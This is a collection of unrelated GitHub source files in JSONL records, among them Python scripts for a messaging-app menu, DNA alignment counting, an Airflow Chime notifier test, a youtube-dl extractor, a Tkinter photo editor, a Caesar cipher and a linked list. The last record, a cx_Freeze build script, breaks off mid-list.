{"seq_id":"39168482745","text":"from controller.UserController import UserController\nfrom controller.AdminController import AdminController\nfrom controller.Controller import Controller\n\nmenu_list = {\n    'Main menu': {\n        'Register': UserController.registration,\n        'Sign in': UserController.sign_in,\n        'Exit': Controller.stop_loop,\n    },\n    'User menu': {\n        'Sign out': UserController.sign_out,\n        'Send a message': UserController.send_message,\n        'Inbox messages': UserController.inbox_message,\n        'My messages statistics': UserController.get_message_statistics,\n    },\n    'Admin menu': {\n        'Sign out': Controller.stop_loop,\n        'Get logs': AdminController.get_events,\n        'Online users': AdminController.get_online_users,\n        'Most active senders': AdminController.get_top_senders,\n        'Most active spamers': AdminController.get_top_spamers,\n    }\n}\n\nroles = {\n    'user': 'User menu',\n    'admin': 'Admin menu'\n}\n\nspecial_parameters = {\n    'role': '(admin or user)'\n}\n","repo_name":"3A43Mka/db_lab_2","sub_path":"lab2/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":1003,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"74844979620","text":"#Imports\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport sys\nimport os\nfrom os import listdir\nfrom os.path import isfile, join\n\ndef find_one_offs(pairwise, base):\n    counter = 0\n    for p in pairwise:\n        t_ilist = Pairwise.get_t_ilist(p)\n        o_seq = Pairwise.get_o_seq(p)\n        tem = \"GATC\"\n        for i in t_ilist:\n            oth = o_seq[i:i+4]\n            if (oth != tem) & (base == \"G\") & (oth[1:4] == \"ATC\"):\n                counter += 1\n            elif (oth != tem) & (base == \"A\") & (oth[0] == \"G\") & (oth[2:4] == \"TC\"):\n                counter += 1\n            elif (oth != tem) & (base == \"T\") & (oth[0:2] == \"GA\") & (oth[3] == \"C\"):\n                counter += 1\n            elif (oth != tem) & (base == \"C\") & (oth[0:3] == \"GAT\"):\n                counter += 1\n                \n    return counter\n      \n#Main Method (flow of control starts here from command line call):\ndef main():\n    if len(sys.argv) != 1:\n        sys.exit('USAGE: python pariwise.py input_fasta \\n \\\n        input_fasta is the location of a fasta file with the BLASTED pairwise alignment.')\n    else: \n        mypath = '/Users/juliagross/Desktop/phaedrus_parsed'\n        file_names = [ join(mypath,f) for f in listdir(mypath) if isfile(join(mypath,f)) ]\n        file_names = file_names[1:]\n\n        total_A_off = 0\n        total_T_off = 0\n        total_G_off = 0\n        total_C_off = 0\n        \n        for f in file_names:\n            input_fasta_name = f\n            input_fasta = open(input_fasta_name, \"r+\")\n            input_fasta_copy = input_fasta.readlines()\n            pairwise = Pairwise.read_fasta(input_fasta_copy)\n            total_A_off += find_one_offs(pairwise, \"G\")\n            total_T_off += find_one_offs(pairwise, \"A\")\n            total_G_off += find_one_offs(pairwise, \"T\")\n            total_C_off += find_one_offs(pairwise, \"C\")\n            \n            input_fasta.close()\n        \n        output_x = [0, 1, 2, 3]\n        output_data = [total_A_off, total_T_off, total_G_off, total_C_off]\n           \n        #Output File Generation                \n        plt.bar(output_x, output_data, align='center')\n        plt.title(\"Off the one offs: \")\n        #plt.xlabel(\"Base not present\")\n        plt.ylabel(\"Total Instances\")\n        plt.savefig('pairwise_output.png')\n         \n        \nif __name__ == '__main__':\n    main()","repo_name":"bsiranosian/pallid_pallas","sub_path":"pairwise_main_scrips/find_one_offs_imports_method_main.py","file_name":"find_one_offs_imports_method_main.py","file_ext":"py","file_size_in_byte":2350,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"28710698865","text":"#Q1 : Compléter une fonction limite_amplitude qui prend en paramètre un nombre x ainsi que deux nombres x_min et x_max avec x_min <= x_max  et qui renvoie :\n#x si x est compris entre x_min et x_max,\n#x_min si x est plus petit que x_min,\n#x_max si x est plus grand que x_max.\n\ndef limite_amplitude(x, x_min, x_max) :\n    ''' renvoie une valeur écrétée entre x_min et x_max'''\n    # YOUR CODE HERE\n    if x_min < x and x_max > x or x_min > x and x_max < x:\n        return x\n    elif x < x_min:\n        return x_min\n    elif x > x_max:\n        return x_max\nprint(limite_amplitude(180, -150, 150))\n\n#assert limite_amplitude(34, -150, 150) == 34\n#assert limite_amplitude(-187, -150, 150) == -150\n#assert limite_amplitude(180, -150, 150) == 150","repo_name":"h4cK3rM4n04/R-vision_DS_25_01_23","sub_path":"exo_1.py","file_name":"exo_1.py","file_ext":"py","file_size_in_byte":743,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"72002749540","text":"# 1175. Prime Arrangements\n\n# Reference\n# https://leetcode.com/problems/prime-arrangements/discuss/371865/Python-3-solution-(100-faster-and-100-less-memory)\n\nfrom math import factorial\n\nclass Solution:\n    def numPrimeArrangements(self, n: int) -> int:\n        primes = [2,3,5,7,11,13,17,19,23,29,31,37,41,43,47,53,59,61,67,71,73,79,83,89,97]\n        num_primes = len([x for x in primes if x <= n])  #cleaned up per comment\n        return ( factorial(num_primes) * factorial(n - num_primes) ) % (10**9 + 7)","repo_name":"YukiT1990/Leetcode","sub_path":"00331_PrimeArrangements(1175).py","file_name":"00331_PrimeArrangements(1175).py","file_ext":"py","file_size_in_byte":506,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"70682724901","text":"from . import utils, layers\nimport torch.nn as nn\nimport torch\n\nget_act = layers.get_act\ndefault_initializer = layers.default_init\n\nNONLINEARITIES = {\n    \"tanh\": nn.Tanh(),\n    \"relu\": nn.ReLU(),\n    \"softplus\": nn.Softplus(),\n    \"elu\": nn.ELU(),\n    \"swish\": nn.SiLU(),\n}\n\n@utils.register_model(name='discriminator')\nclass Discriminator(nn.Module):\n  def __init__(self, config):\n    super(Discriminator, self).__init__()\n\n    dim = config.data.image_size\n\n    seq = []\n    for item in list(config.model.dis_dims):\n        seq += [\n            nn.Linear(dim, item),\n            nn.LeakyReLU(0.2),\n            nn.Dropout(0.5)\n        ]\n        dim = item\n    seq += [nn.Linear(dim, 1)]\n    self.seq = nn.Sequential(*seq)\n\n  def forward(self, input):\n    return self.seq(input)\n","repo_name":"JayoungKim408/SOS","sub_path":"models/discriminator.py","file_name":"discriminator.py","file_ext":"py","file_size_in_byte":778,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"35"}
{"seq_id":"17808535142","text":"from Recording.main import Collect, save\nimport sys\n\ndef record(record_t, record_label , fileName:str = \"trial\" , path:str = \"D:/Graduation Project/Brain-controlled-wheelchair-with-self-driving-mode/recorded_Data/Train\"):\n    if not isinstance(record_t, int):\n        record_t = int(record_t)\n    collect = Collect(False)\n    Data = collect.record(record_t)\n    save(path + '/' + fileName\n        ,\n        Data, record_label)\n    #print(Data.head())\n    return Data\n\nif __name__ == \"__main__\":\n    t = int(sys.argv[1])\n    label = int(sys.argv[2])\n    name = sys.argv[3]\n    trainPath = sys.argv[4]\n    record(t , label , name , trainPath)\n    # print(\"here\")\n","repo_name":"YoussefKhaledAhmed/Auto-brain-controlled-wheel-chair","sub_path":"BCI_ssvep_Training/record_and_save.py","file_name":"record_and_save.py","file_ext":"py","file_size_in_byte":661,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"32684888803","text":"from __future__ import annotations\n\nfrom unittest import mock\n\nfrom airflow.models import Connection\nfrom airflow.operators.empty import EmptyOperator\nfrom airflow.providers.amazon.aws.hooks.chime import ChimeWebhookHook\nfrom airflow.providers.amazon.aws.notifications.chime import ChimeNotifier, send_chime_notification\nfrom airflow.utils import db\n\n\nclass TestChimeNotifier:\n    # Chime webhooks can't really have a default connection, so we need to create one for tests.\n    def setup_method(self):\n        db.merge_conn(\n            Connection(\n                conn_id=\"default-chime-webhook\",\n                conn_type=\"chime\",\n                host=\"hooks.chime.aws/incomingwebhooks/\",\n                password=\"abcd-1134-ZeDA?token=somechimetoken111\",\n                schema=\"https\",\n            )\n        )\n\n    @mock.patch.object(ChimeWebhookHook, \"send_message\")\n    def test_chime_notifier(self, mock_chime_hook, dag_maker):\n        with dag_maker(\"test_chime_notifier\") as dag:\n            EmptyOperator(task_id=\"task1\")\n\n        notifier = send_chime_notification(\n            chime_conn_id=\"default-chime-webhook\", message=\"Chime Test Message\"\n        )\n        notifier({\"dag\": dag})\n        mock_chime_hook.assert_called_once_with(message=\"Chime Test Message\")\n\n    @mock.patch.object(ChimeWebhookHook, \"send_message\")\n    def test_chime_notifier_with_notifier_class(self, mock_chime_hook, dag_maker):\n        with dag_maker(\"test_chime_notifier\") as dag:\n            EmptyOperator(task_id=\"task1\")\n\n        notifier = ChimeNotifier(\n            chime_conn_id=\"default-chime-webhook\", message=\"Test Chime Message for Class\"\n        )\n        notifier({\"dag\": dag})\n        mock_chime_hook.assert_called_once_with(message=\"Test Chime Message for Class\")\n\n    @mock.patch.object(ChimeWebhookHook, \"send_message\")\n    def test_chime_notifier_templated(self, mock_chime_hook, dag_maker):\n        with dag_maker(\"test_chime_notifier\") as dag:\n            EmptyOperator(task_id=\"task1\")\n\n        notifier = send_chime_notification(\n            chime_conn_id=\"default-chime-webhook\", message=\"Test Chime Message. Dag is {{ dag.dag_id }}.\"\n        )\n        notifier({\"dag\": dag})\n        mock_chime_hook.assert_called_once_with(message=\"Test Chime Message. Dag is test_chime_notifier.\")\n","repo_name":"a0x8o/airflow","sub_path":"tests/providers/amazon/aws/notifications/test_chime.py","file_name":"test_chime.py","file_ext":"py","file_size_in_byte":2295,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"35"}
{"seq_id":"38057647327","text":"# coding: utf-8\nfrom __future__ import unicode_literals\n\nimport re\n\nfrom .common import InfoExtractor\nfrom ..compat import compat_str\nfrom ..utils import (\n    parse_iso8601,\n    float_or_none,\n    ExtractorError,\n    int_or_none,\n)\n\n\nclass NineCNineMediaBaseIE(InfoExtractor):\n    _API_BASE_TEMPLATE = 'http://capi.9c9media.com/destinations/%s/platforms/desktop/contents/%s/'\n\n\nclass NineCNineMediaStackIE(NineCNineMediaBaseIE):\n    IE_NAME = '9c9media:stack'\n    _GEO_COUNTRIES = ['CA']\n    _VALID_URL = r'9c9media:stack:(?P<destination_code>[^:]+):(?P<content_id>\\d+):(?P<content_package>\\d+):(?P<id>\\d+)'\n\n    def _real_extract(self, url):\n        destination_code, content_id, package_id, stack_id = re.match(self._VALID_URL, url).groups()\n        stack_base_url_template = self._API_BASE_TEMPLATE + 'contentpackages/%s/stacks/%s/manifest.'\n        stack_base_url = stack_base_url_template % (destination_code, content_id, package_id, stack_id)\n\n        formats = []\n        formats.extend(self._extract_m3u8_formats(\n            stack_base_url + 'm3u8', stack_id, 'mp4',\n            'm3u8_native', m3u8_id='hls', fatal=False))\n        formats.extend(self._extract_f4m_formats(\n            stack_base_url + 'f4m', stack_id,\n            f4m_id='hds', fatal=False))\n        self._sort_formats(formats)\n\n        return {\n            'id': stack_id,\n            'formats': formats,\n        }\n\n\nclass NineCNineMediaIE(NineCNineMediaBaseIE):\n    IE_NAME = '9c9media'\n    _VALID_URL = r'9c9media:(?P<destination_code>[^:]+):(?P<id>\\d+)'\n\n    def _real_extract(self, url):\n        destination_code, content_id = re.match(self._VALID_URL, url).groups()\n        api_base_url = self._API_BASE_TEMPLATE % (destination_code, content_id)\n        content = self._download_json(api_base_url, content_id, query={\n            '$include': '[Media,Season,ContentPackages]',\n        })\n        title = content['Name']\n        if len(content['ContentPackages']) > 1:\n            raise ExtractorError('multiple content packages')\n        content_package = content['ContentPackages'][0]\n        package_id = content_package['Id']\n        content_package_url = api_base_url + 'contentpackages/%s/' % package_id\n        content_package = self._download_json(content_package_url, content_id)\n\n        if content_package.get('Constraints', {}).get('Security', {}).get('Type') == 'adobe-drm':\n            raise ExtractorError('This video is DRM protected.', expected=True)\n\n        stacks = self._download_json(content_package_url + 'stacks/', package_id)['Items']\n        multistacks = len(stacks) > 1\n\n        thumbnails = []\n        for image in content.get('Images', []):\n            image_url = image.get('Url')\n            if not image_url:\n                continue\n            thumbnails.append({\n                'url': image_url,\n                'width': int_or_none(image.get('Width')),\n                'height': int_or_none(image.get('Height')),\n            })\n\n        tags, categories = [], []\n        for source_name, container in (('Tags', tags), ('Genres', categories)):\n            for e in content.get(source_name, []):\n                e_name = e.get('Name')\n                if not e_name:\n                    continue\n                container.append(e_name)\n\n        description = content.get('Desc') or content.get('ShortDesc')\n        season = content.get('Season', {})\n        base_info = {\n            'description': description,\n            'timestamp': parse_iso8601(content.get('BroadcastDateTime')),\n            'episode_number': int_or_none(content.get('Episode')),\n            'season': season.get('Name'),\n            'season_number': season.get('Number'),\n            'season_id': season.get('Id'),\n            'series': content.get('Media', {}).get('Name'),\n            'tags': tags,\n            'categories': categories,\n        }\n\n        entries = []\n        for stack in stacks:\n            stack_id = compat_str(stack['Id'])\n            entry = {\n                '_type': 'url_transparent',\n                'url': '9c9media:stack:%s:%s:%s:%s' % (destination_code, content_id, package_id, stack_id),\n                'id': stack_id,\n                'title': '%s_part%s' % (title, stack['Name']) if multistacks else title,\n                'duration': float_or_none(stack.get('Duration')),\n                'ie_key': 'NineCNineMediaStack',\n            }\n            entry.update(base_info)\n            entries.append(entry)\n\n        return {\n            '_type': 'multi_video',\n            'id': content_id,\n            'title': title,\n            'description': description,\n            'entries': entries,\n        }\n","repo_name":"r0oth3x49/Yv-dl","sub_path":"youtube_dl/extractor/ninecninemedia.py","file_name":"ninecninemedia.py","file_ext":"py","file_size_in_byte":4626,"program_lang":"python","lang":"en","doc_type":"code","stars":37,"dataset":"github-code","pt":"35"}
{"seq_id":"38381614701","text":"from tkinter import *\nfrom tkinter import ttk\nfrom app.ui.edit import edit\n\nwin = Tk()\nwin.title(\"Photo Studio\")\nwin.geometry(\"900x600\")\nwin.minsize(900, 600)\n# make menubar\nmenubar = Menu(win)\nwin.config(menu=menubar)\nmenubar.add_command(label=\"Convert\", command=edit)\n# make frames\nleftFrame = Frame(win)\nleftFrame.pack(expand=True, fill=BOTH, side=LEFT)\ncenterFrame = Frame(win)\ncenterFrame.pack(expand=True, fill=BOTH, side=LEFT)\nrightFrame = Frame(win)\nrightFrame.pack(expand=True, fill=BOTH, side=LEFT)\nformatFrame = LabelFrame(rightFrame, text=\"Format\")\nformatFrame.pack(expand=True, fill=BOTH)\nfilterFrame = LabelFrame(rightFrame, text=\"Filter\")\nfilterFrame.pack(expand=True, fill=BOTH)\nresizeFrame = LabelFrame(centerFrame, text=\"Resize\")\nresizeFrame.pack(expand=True, fill=BOTH)\nquantityFrame = LabelFrame(centerFrame, text=\"Quantity\")\nquantityFrame.pack(expand=True, fill=BOTH)\nscaleFrame = LabelFrame(leftFrame, text=\"Scale\")\nscaleFrame.pack(expand=True, fill=BOTH)\ncropFrame = LabelFrame(leftFrame, text=\"Crop\")\ncropFrame.pack(expand=True, fill=BOTH)\nrotateFrame = LabelFrame(leftFrame, text=\"Rotate\")\nrotateFrame.pack(expand=True, fill=BOTH)\nblurFrame = LabelFrame(centerFrame, text=\"Blur\")\nblurFrame.pack(expand=True, fill=BOTH)\n# format frame configuration\nformatList = [\"JPG\", \"PNG\", \"DIB\", \"BMP\", \"WEBP\"]\nLabel(formatFrame, text=\"Format: \").pack()\nformatCombo = ttk.Combobox(formatFrame, values=formatList)\nformatCombo.set(\"Pick a format\")\nformatCombo.pack(pady=10, expand=True, fill=X, padx=15, ipady=4)\n# filter frame configuration\nfiltersList = [\n    (\"Original\", \"original\"),\n    (\"Grayscale\", \"grayscale\"),\n    (\"Bright\", \"bright\"),\n    (\"Dark\", \"dark\"),\n    (\"Sharp\", \"sharp\"),\n    (\"Blur\", \"blur\"),\n    (\"Emboss\", \"emboss\"),\n    (\"Sepia\", \"sepia\"),\n    (\"Pencil Sketch (Color)\", \"sketchColor\"),\n    (\"Pencil Sketch (Gray)\", \"sketchGray\"),\n    (\"HDR\", \"hdr\"),\n    (\"Invert\", \"invert\")\n]\neffectName = StringVar()\neffectName.set(\"original\")\nLabel(filterFrame, text=\"Filter: \").pack()\nfor (text, value) in filtersList:\n    Radiobutton(\n        filterFrame,\n        text=text,\n        variable=effectName,\n        value=value,\n        indicatoron=0,\n        bd=0\n    ).pack(expand=True, fill=BOTH, ipady=5, padx=15)\n# resize frame configuration\nresizeList = [\n    (\"None\", \"None\"),\n    (\"Scale\", \"scale\"),\n    (\"Quantity\", \"quantity\"),\n    (\"Crop\", \"crop\"),\n    (\"Rotation\", \"rotate\")\n]\nresizeMethod = StringVar()\nresizeMethod.set(\"None\")\nLabel(resizeFrame, text=\"Resize by:\").pack(expand=True, fill=BOTH, ipady=15)\nfor (text, value) in resizeList:\n    Radiobutton(\n        resizeFrame,\n        text=text,\n        variable=resizeMethod,\n        value=value,\n        indicatoron=0,\n        bd=0\n    ).pack(expand=True, fill=BOTH, ipady=5, padx=15, pady=5)\n# quantity frame configuration\nLabel(quantityFrame, text=\"Enter width: \").pack()\nwidthSpin = Spinbox(quantityFrame, from_=0, to=100)\nwidthSpin.pack(pady=10, expand=True, fill=X, padx=15, ipady=4)\nLabel(quantityFrame, text=\"Enter height: \").pack()\nheightSpin = Spinbox(quantityFrame, from_=0, to=100)\nheightSpin.pack(pady=10, expand=True, fill=X, padx=15, ipady=4)\n# scale frame configuration\nLabel(scaleFrame, text=\"Enter scale: \").pack()\nspin = Spinbox(scaleFrame, from_=0, to=100)\nspin.pack(pady=10, expand=True, fill=X, padx=15, ipady=4)\n# crop frame configuration\nLabel(cropFrame, text=\"Enter width: \").pack()\ncropWidth = Spinbox(cropFrame, from_=0, to=100)\ncropWidth.pack(pady=10, expand=True, fill=X, padx=15, ipady=4)\nLabel(cropFrame, text=\"Enter height: \").pack()\ncropHeight = Spinbox(cropFrame, from_=0, to=100)\ncropHeight.pack(pady=10, expand=True, fill=X, padx=15, ipady=4)\n# rotation frame configuration\nLabel(rotateFrame, text=\"Enter rotation angle: \").pack()\n# rotationSpin = Spinbox(rotateFrame,from_=0,to=360)\nrotationList = [\"90\", \"180\", \"270\"]\nrotationSpin = ttk.Combobox(rotateFrame, values=rotationList)\nrotationSpin.set(\"Pick a rotation angle\")\nrotationSpin.pack(pady=10, expand=True, fill=X, padx=15, ipady=4)\nLabel(rotateFrame, text=\"Note: angles are clockwise\").pack()\n# blur frame configuration\nLabel(blurFrame, text=\"Enter a blur amount: \").pack()\nkernelSpin = Spinbox(blurFrame, from_=0, to=100)\nkernelSpin.pack(pady=10, expand=True, fill=X, padx=15, ipady=4)\nLabel(blurFrame, text=\"Note: default amount is 10\").pack()\n# make a loop for window\nwin.mainloop()\n","repo_name":"Seiliaz/PhotoStudio","sub_path":"app/ui/ui.py","file_name":"ui.py","file_ext":"py","file_size_in_byte":4361,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"70171193701","text":"# 返回元素为字符串的list\n# 参数是[100,800]的list\nimport numpy as np\nfrom sympy import *\n\ndef p6_5_g_ba(red_word):\n    red_word = list(map(int,red_word))\n    result = []\n    x = symbols('x')\n    ##\n    result.append(str(red_word[1]))\n    down = red_word[1]\n    up = red_word[2]\n    f = red_word[0]+x**2\n    i = integrate(f,x)\n    result.append(latex(i))\n    result.append(p6_5_average(f,x,down,up)[1])\n\n    return result\n\ndef p6_5_average(f,x,down, up):\n    result = []\n    s = integrate(f,(x,down,up))\n    ave = s/(up-down)\n    #\n    result.append(str(float(ave)))\n    result.append(str(ave))\n    return result\n\nif __name__ == '__main__':\n    red_word = [ 1,-2,2,-2,2,2,4] # 1290484,7\n    for i in p6_5_g_ba(red_word):\n        print(i)\n","repo_name":"awesome-yyh/math_pyside2","sub_path":"mathplus/web/web113_py/py6_5/g_ba.py","file_name":"g_ba.py","file_ext":"py","file_size_in_byte":749,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"12420709844","text":"from string import ascii_lowercase, ascii_uppercase\n\n\ndef caesar_cipher(s, k):\n    # test if the string supplied can be convert into ascii\n    try:\n        s.encode('ascii')\n    except UnicodeEncodeError:\n        return 'A non ascii character was found in the provided string'\n    \n    # test if the integer supplied falls within the given constraints\n    if k <= 100:\n        pass\n    else:\n        return 'A integer larger than 100 was provided (0 <= k <= 100)'\n\n    result = ''\n\n    # loop through the string and append to result utilising the shift integer supplied with k\n    for char in s:\n        if char.isupper():\n            result += ascii_uppercase[(ascii_uppercase.index(char) - k) % 26]\n        elif char.islower():\n            result += ascii_lowercase[(ascii_lowercase.index(char) - k) % 26]\n        else:\n            result += char\n\n    return result\n\n\nif __name__ == '__main__':\n\n    res = caesar_cipher('Take a string and ENCRYPT it with the caesar_cipher function!!!(pytest used for tests)', 99)\n    print(res)\n","repo_name":"SirDukey/caesar_cipher_excercise","sub_path":"cipher.py","file_name":"cipher.py","file_ext":"py","file_size_in_byte":1031,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"33291860437","text":"import numpy as np\n\n# https://blog.csdn.net/kanbuqinghuanyizhang/article/details/80774609\n\nd = 64                           # dimension\nnb = 100000                      # database size\nnq = 10000                       # nb of queries\nnp.random.seed(1234)             # make reproducible\nxb = np.random.random((nb, d)).astype('float32') # 训练数据\nxb[:, 0] += np.arange(nb) / 1000.\nxq = np.random.random((nq, d)).astype('float32') # 查询数据\nxq[:, 0] += np.arange(nq) / 1000.\n\n\n# 创建索引,faiss创建索引对向量预处理，提高查询效率。\nindex = basic_faiss.IndexFlatL2(d)   # build the index\nprint(index.is_trained)\n\nindex.add(xb)                  # add vectors to the index\nprint(index.ntotal)\n\n# 传入搜索向量查找相似向量\nk = 4                          # we want to see 4 nearest neighbors\nD, I = index.search(xq, k)     # actual search\nprint(I[:5])                   # neighbors of the 5 first queries\nprint(D[-5:])                  # neighbors of the 5 last queries\n\n","repo_name":"mnikogit/amazing-algorithm","sub_path":"code/third_package/basic_faiss.py","file_name":"basic_faiss.py","file_ext":"py","file_size_in_byte":1005,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"8795657854","text":"import time\nimport numpy as np\nimport Configs\nclass Router:\n    def __init__(self):\n        # record the history user status and light status\n        self.userStatus = {\n            # FocusOffDesk contains 2 main situation: sleep on the desk or the user's focus is not on the testkable\n            # this mode is set to save the energy\n            \"FocusOffWork\": 0,\n\n            \"Tired\": 0,\n            # if the user is focusing on work, then just keep the setting of the light\n            # if the user is once detected in focusing status, light status should be caution to change\n            \"FocusOnWork\": 0,\n            # feel bad\n            \"FeelBad\": 0,\n            # feel good\n            \"FeelGood\": 0,\n            # if the user once set the light value, the setted value should not be changed for a while\n        }\n        self.tiredThd = 0.25\n        self.faceThd = 0.4\n        self.co2Thd = 600\n\n\n    def getStatus(self):\n        saved_status = \"FocusOnWork\"\n        saved_value = 0\n        for key in self.userStatus:\n            if self.userStatus[key] > saved_value:\n                saved_value = self.userStatus[key]\n                saved_status = key\n        return saved_status\n\n    def Route(self, dataCollection):\n\n        # we determine each status according to the environment data\n        dataCollection[\"Occupancy\"] = 1\n\n        #if dataCollection.get(\"TiredStatus\", 0) > self.tiredThd:\n        self.userStatus[\"Tired\"] += 0.1 * int(dataCollection.get(\"Tired\", 0) > self.tiredThd)\n        if dataCollection.get(\"Occupancy\", False) and dataCollection.get(\"FaceConfidence\",0) < self.faceThd:\n            self.userStatus[\"FocusOffWork\"] += 0.1\n            Configs.logger.debug(\"check faceConfidence,FocusOffWork++ = {}\".format(dataCollection.get(\"FaceConfidence\",0)))\n        if dataCollection.get(\"Occupancy\", False) and dataCollection.get(\"FaceConfidence\",0) > 0.8:\n            self.userStatus[\"FocusOnWork\"] += 0.1\n        if dataCollection.get(\"InnerClimate\", None):\n            innerclimate = dataCollection.get(\"InnerClimate\")\n            if innerclimate[\"co2\"] > self.co2Thd:\n                self.userStatus[\"Tired\"] += 0.001\n        currentTime = time.localtime()\n        self.userStatus[\"Tired\"] += (currentTime.tm_hour / 24 + currentTime.tm_min / 60) / 10\n\n        if dataCollection.get(\"UserEmotion\", None) and dataCollection.get(\"FaceConfidence\") > 0.8:\n            emotion = dataCollection.get(\"UserEmotion\")\n\n            feelGood = emotion[0] + emotion[6]\n            feelBad = emotion[1] + emotion[2] + emotion[3] + emotion[4] + emotion[5]\n            if feelGood >=  feelBad :\n                self.userStatus[\"FeelGood\"] += 0.1\n            else:\n                self.userStatus[\"FeelBad\"] += 0.1\n        Configs.logger.debug(\"check dataCollection = {}\".format(dataCollection))\n        Configs.logger.debug(\"check status score now  = {}\".format(self.userStatus))\n        finalStatus = self.getStatus()\n        Configs.logger.debug(\"check final status in Router = {}\".format(finalStatus))\n\n\n        return finalStatus\n","repo_name":"eedalong/Junction","sub_path":"Router.py","file_name":"Router.py","file_ext":"py","file_size_in_byte":3054,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"34974051942","text":"\"\"\"\nAuthor: Derek Gauger\nDate: 07/06/2022\n\nPurpose:\nI wanted to start adding a few basic data structure implementations to my GitHub. Most likely this implementation\nwill never be used, but it is a good exercise to do for practice.\n\nDescription:\nThis is a very basic implementation of a LinkedList. I only wanted to do creation of, adding to, and removing from\nthe LinkedList.\n\"\"\"\n\n\n# Class that represents a Node/Element within the LinkedList\nclass Node:\n\n    def __init__(self, value):\n        self.data = value\n        self.next = None\n\n\n# LinkedList implementation\nclass LinkedList:\n\n    # Constructor\n    def __init__(self):\n        self.root = None\n        self.size = 0\n\n    # Function for allowing us to use len(linked_list)\n    def __len__(self):\n        return self.size\n\n    # Function for turning the LinkedList into a string for printing purposes\n    def __str__(self):\n        current = self.root\n        output = str(current.data)\n\n        while type(current.next) is Node:\n            current = current.next\n            output += \" -> \" + str(current.data)\n\n        return output\n\n    # Function for adding an element to the LinkedList\n    def add(self, value):\n        new_node = Node(value)\n        if self.size == 0:\n            self.root = new_node\n        else:\n            current = self.root\n            while type(current.next) is Node:\n                current = current.next\n            current.next = new_node\n\n        self.size += 1\n\n    # Function for adding more than one element to the LinkedList\n    # 'element_list' can contain Node objects or just values\n    def add_many(self, element_list):\n\n        for element in element_list:\n            if type(element) is Node:\n                self.add(element.data)\n            else:\n                self.add(element)\n\n    # Function for getting a Node at an index\n    def get_index(self, index):\n        current = self.root\n        for i in range(index):\n            if type(current.next) is Node:\n                current = current.next\n            else:\n                return -1\n\n        return current\n\n    # Function for getting the index of the first instance of a value in the LinkedList\n    def get_value(self, value):\n        current = self.root\n        index = 0\n        while type(current) is Node:\n            if current.data == value:\n                return index\n            else:\n                current = current.next\n            index += 1\n\n        if index == self.size:\n            return -1\n        else:\n            return index\n\n    # Function for removing an index from the LinkedList\n    def remove_index(self, index):\n\n        if index == 0:\n            original_root = self.root\n            self.root = self.root.next\n            return original_root\n\n        last = None\n        current = self.root\n        for i in range(index):\n            if type(current.next) is Node:\n                last = current\n                current = current.next\n            else:\n                raise IndexError(\"List index out-of-bounds\")\n\n        last.next = current.next\n\n        return current\n\n    # Function for removing the first instance of a value in the LinkedList\n    def remove_value(self, value):\n\n        current = self.root\n        if current.data == value:\n            original_root = self.root\n            self.root = self.root.next\n            return original_root\n\n        while type(current.next) is Node:\n            last = current\n            current = current.next\n            if current.data == value:\n                last.next = current.next\n                return current\n\n        raise ValueError(\"Value '{}' Not Found In List\".format(value))\n","repo_name":"derekgauger/python_util_library","sub_path":"Data Structures/linkedlist.py","file_name":"linkedlist.py","file_ext":"py","file_size_in_byte":3654,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"3196766684","text":"from Player import Player\n\nclass HumanPlayer(Player):\n\n    def __init__(self,name,pn):\n        super().__init__(name,pn)\n\n    def play(self,board):\n        print(\"Select a line\")\n        x = input()\n        print(\"Select a column\")\n        y = input()\n        return int(x),int(y)\n","repo_name":"ClementBsn/TicTacToeProject","sub_path":"src/Players/HumanPlayer.py","file_name":"HumanPlayer.py","file_ext":"py","file_size_in_byte":281,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"7471798148","text":"from cx_Freeze import setup, Executable\nimport sys\n\nimport os\n\n\n#path to tcl/tk\nos.environ['TCL_LIBRARY'] = r'C:\\Users\\Anne Marie\\Anaconda3\\tcl\\tcl8.6'\nos.environ['TK_LIBRARY'] = r'C:\\Users\\Anne Marie\\Anaconda3\\tcl\\tk8.6'\n\n\nbuildOptions = {\"includes\": [\"altgraph\", \"bleach\", \"certifi\", \"chardet\", \"click\", \"colorama\", \\\n \"cycler\", \"decorator\", \"dill\", \"Django\", \"entrypoints\", \"et_xmlfile\", \"Faker\", \"Flask\", \\\n  \"future\", \"h5py\",\"hdf5storage\",\"html5lib\", \"idna\", \"image\", \"ipykernel\", \"ipython\",\n  \"ipython_genutils\", \"ipywidgets\", \"itsdangerous\", \"jdcal\", \"jedi\", \"Jinja2\", \\\n    \"jsonschema\", \"jupyter_client\", \"jupyter_core\", \"macholib\", \"MarkupSafe\", \"matlab\", \\\n     \"matplotlib\", \"mistune\", \"mritopng\", \"nbconvert\", \"nbformat\", \"networkx\", \"notebook\", \\\n    \"np\", \"numexpr\", \"numpy\", \"mkl\", \"numutil\", \"olefile\", \"openpyxl\", \"pandas\", \\\n    \"pandocfilters\", \"parso\", \"pefile\", \"pickleshare\", \"plotly\", \"prompt_toolkit\", \\\n    \"pydicom\", \"Pygments\", \"pyparsing\", \"PyQt5\", \"pyreadline\", \"pytz\", \\\n    \"pywt\", \"qtgui\", \"report\", \"requests\",  \\\n    \"scipy\", \"Send2Trash\", \"simplegeneric\", \"sip\", \"six\", \"tables\", \"terminado\", \\\n    